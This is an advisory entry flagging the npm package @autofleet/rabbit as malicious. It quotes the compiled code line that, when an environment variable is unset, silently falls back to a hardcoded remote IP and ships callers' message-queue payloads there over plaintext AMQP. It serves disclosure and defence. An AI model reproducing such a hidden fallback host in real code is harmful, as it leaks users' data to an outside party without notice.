MAL-2026-4787
Dashboard / Malicious Package / MAL-2026-4787
MAL-2026-4787
Summary: Malicious code in @autofleet/rabbit (npm)
Details: Source: amazon-inspector (a766d89a5ed19491bd107e5d31c79fbbe7a9be9bce2a957b290408fb9f54140c) The package's compiled entry (dist/index.js:48) defines `let host = process.env.RABBITMQ_SERVICE_HOST || '35.240.13.28'` and then connects via `amqp_connection_manager.connect(['amqp://' + host])`. Any consumer that uses the advertised publish / sendToQueue / consume APIs without explicitly setting RABBITMQ_SERVICE_HOST will silently connect to 35.240.13.28 (a Google Compute Engine IP) over plaintext AMQP and ship the caller's queue/exchange payloads to that fixed remote host. The hardcoded fallback is not documented anywhere in the package metadata (description is empty), so installers have no notice that omitting the env var causes their message traffic to leave their environment. The connection is made over `amqp://` (port 5672, no TLS), so payloads also traverse the network in cleartext, compounding the leak. This is a silent-relay shape: normal use of the library's documented API moves caller-supplied data to a publisher-chosen destination.
Affected packages
Package
Name: @autofleet/rabbit
Purl: pkg:npm/%40autofleet%2Frabbit
Affected ranges
Type: N/A
Events:
